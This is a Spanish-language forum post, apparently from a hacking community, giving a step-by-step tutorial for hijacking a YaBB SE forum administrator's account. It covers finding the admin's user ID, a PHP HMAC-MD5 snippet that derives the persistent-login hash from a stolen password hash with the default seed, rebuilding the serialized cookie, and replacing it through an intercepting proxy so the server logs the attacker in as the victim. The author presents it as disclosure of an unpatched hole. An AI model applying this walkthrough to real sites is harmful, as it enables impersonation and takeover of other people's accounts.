Hola:
Ante todo Alnitak , no te preocupes si el hueco lo descubrí yo, no me importa que expliques tus descubrimientos en relación a él, al contrario , seguro asi todos aprenderemos mas. Pero bueno visto que la postura de los creadores de Yabbse ha dejado mucho que desear, cosa que me sorprende ya que, asi como en la vulnerabilidad anterior actuaron de manera muy profesional y rápida, en esta han pasado totalmente del tema e incluso se han dedicado a borrar los post de su foro en los que se comentaba la existencia de este agujero, cosa que me ha parecido cuanto menos poco etica. Pues visto que no tienen en mente sacar un parche, al menos de momento, y que el cambio de los foros es muy sencillo ( solo 4 o 5 lineas ), ademas de que ya se está usando el exploit "a saco", me he decidido a sacar este pequeño "HOW-TO" para que por lo menos todos sepan como funciona mas o menos esto.
Bueno pues esto es una especie de tutorial que aunque es para este exploit del YabbSE, sirve para muchos casos especialmente donde se use PHP ya que la mayoria de los desarrolladores usan técnicas comunes.
Otra vez me voy a tomar la libertad de usar links de este foro para hacer mas fácil el texto. Imaginemos que llegamos al foro y nos encontramos que el admin se llama pepitogrillo, un usuario déspota y un poco cabrón y decidimos que este mismo será nuestra víctima. Asi que lo primero que haremos será buscar su ID. ¿Cómo? Pues muy sencillo mirando su perfil. Pues vamos a un post chorra que ha puesto acerca de un nuevo agujero en un foro, ahi clickamos en la foto de un bebé que nos lleva a ver su perfil ( si, ese a la izquierda del mensaje instantáneo ) y nos lleva a:
http://foro.elhacker.net/index.php?action=viewprofile;user=pepitogrilloNo, aún no busquen que está página no tiene nada.
Aqui vamos al botón IR que nos lleva a ver sus últimos mensajes. Donde dice "Mostrar los últimos N mensajes de este usuario", ahora si, en la URL de esta nueva página está el ID del usuario pepitogrillo.
http://foro.elhacker.net/index.php?board=;action=usersrecentposts;userid=10189;user=pepitogrillo
Bien ya tenemos el ID del usuario ahora aplicamos el exploit que ya se explicó anteriormente y obtenemos el hash de su password.
de40a91d28e3501d74d1985c1906436e
hmmm por si acaso aclarar que este hash se obtuvo con login:pepitogrillo pass:1234. Pero bueno esto no lo sabemos

Bien ahora lo que necesitamos es obtener el hash que se guardaria supuestamente si este usuario al loguearse dijera que quiere mantenerse logueado. Este hash se obtiene al cifrar el hash obtenido con el exploit con el $pwseed que por defecto es ys como ya habiamos dicho. Bien para hacer esto utilizaremos el mismo código que utiliza yabbse. Aqui dejo un pedazo de código para que hagan pruebas.
<?php
function md5_hmac($data, $key)
{
if (strlen($key) > 64)
$key = pack('H*', md5($key));
$key = str_pad($key, 64, chr(0x00));
$k_ipad = $key ^ str_repeat(chr(0x36), 64);
$k_opad = $key ^ str_repeat(chr(0x5c), 64);
return md5($k_opad . pack('H*', md5($k_ipad . $data)));
}
$hash = md5_hmac("de40a91d28e3501d74d1985c1906436e", "ys");
echo "El valor del hash es ".$hash."<br />\n";
?>
al ejecutar esto nos sale:
El valor del hash es 6993bc6a517d3d95dac17bdf84a6e70b
este es el hash que necesitamos.
Ahora necesitamos cambiar nuestra cookie, lo que hacemos es loguearnos y marcar el check que dice de matenernos logueados, esto hará que YabbSE nos ponga la tan ansiada cookie.
Echandole un vistazo a esta cookie vemos el sgte. formato:
YaBBSE155
|a%3A2%3A%7Bi%3A0%3Bs%3A1%3A%222%22%3Bi%3A1%3Bs%3A32%3A%2212345543210123456789abcdef1234bb%22%3B%7D
|www.elhost.comBien de aqui lo que nos interesa es lo que está por detras de la palabra YaBBSE155 y antes de
www.elhost.com esto no es mas que datos serializados que YabbSE nos coloca en la cookie. Estos son los datos que tenemos que cambiar pero como? Bien lo primero es analizar un poco e formato de estos datos, primero tenemos que convertir todos esos %3A %B , etc en un formato mas cómodo, para hacerlo de manera rápida y para aquellos que no son muy duchos en la programación utilizaremos la mejor herramienta de hacking que se haya inventado jamas.
EL GOOGLE.
Que como utilizaremos el google
pues nos vamos a
www.google.com y le damos al boton buscar estando vacío y la URL nos queda asi:
http://www.google.es/search?hl=es&ie=UTF-8&oe=UTF-8&q=&btnG=B%C3%BAsqueda+en+Google&meta=pues donde dice q= le ponemos los datos para que nos quede asi:
http://www.google.es/search?hl=es&ie=UTF-8&oe=UTF-8&q=a%3A2%3A%7Bi%3A0%3Bs%3A1%3A%222%22%3Bi%3A1%3Bs%3A32%3A%2212345543210123456789abcdef1234bb%22%3B%7D&btnG=B%C3%BAsqueda+en+Google&meta= un ENTER y en el Text de búsqueda nos aparece la cadena que necesitamos.
a:2:{i:0;s:1:"2";i:1;s:32:"12345543210123456789abcdef1234bb";}
Ahora veremos como se come esto:
a:2:{...........} esto nos indica que lo que se está guardando son dos elementos:
i:0;s:1:"2"; Este es el primer elemento.
i:0indica que este es el elemento #0 o sea el primero, luego
s:1:"2" nos indica que el elemento es un string (s) de tamaño 1 (1) y valor "2" sin las comillas. Echandole una ojeada al código del YabbSE vemos que esto es el ID del usuario. aplicando esto mismo al resto de la cadena obtenemos que el segundo elemento es una cadena de 32 caracteres y valor 12345543210123456789abcdef1234bb que esto es el doble hash. Bien ahora lo que tenemos que hacer es poner nuestros valores. Comenzamos tomando el inicio de la cadena que es igual para los dos.
a:2:{i:0;s: aqui ya cambia un poco la cosa ya que el ID de pepitogrillo tiene 5 caracteres
10189 asi que cambiamos el tamaño y el valor y nos queda:
a:2:{i:0;s:5:"10189"; luego seguimos con lo que es comun.
a:2:{i:0;s:5:"10189";i:1;s:32: y ponemos el hash que obtuvimos de pepitogrillo. 6993bc6a517d3d95dac17bdf84a6e70b
asi nos queda la cadena final
a:2:{i:0;s:5:"10189";i:1;s:32:"6993bc6a517d3d95dac17bdf84a6e70b";}
esto lo volvemos a poner en google, pero haciendolo a la inversa, es decir ponemos esto en el textbox y le damos a buscar, cogemos lo que nos sale en la url despues de q=
a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%2210189%22%3Bi%3A1%3Bs%3A32%3A%226993bc6a517d3d95dac17bdf84a6e70b%22%3B%7D
bien señores después de todo el camino pues ya tenemos lo que queriamos. Ahora el cambio lo pueden hacer como mejor sepan. Yo utilicé el Paros (
http://www.proofsecure.com/)Es un proxy HTTP/HTTPS que te permite hacer infinidad de cosas con el tráfico HTTP entre estas cosas esta cambiar patrones , TRAPS, etc. y lo mejor es que es multiplataforma ya que está hecho en java.
Bien pues con el paros puedes poner que te genere un Trap cuando haya un "REQUEST" y lo dejas escuchando.
Vas y navegas a la pagina principal del foro. Verás como el Paros te avisa cada vez que el navegador pide algo. Pues en cuanto veas que tu navegador envia la cookie vas y la cambias por la nueva cookie. El servidor te recibirá como pepitogrillo.
Bueno esto es todo. Espero que les haya servido de algo. Si hay algún error avisenme para modificarlo ya que algunas cosas las estoy poniendo de memoria y puede ser que me equivoque en algo.
Saludos a tod@s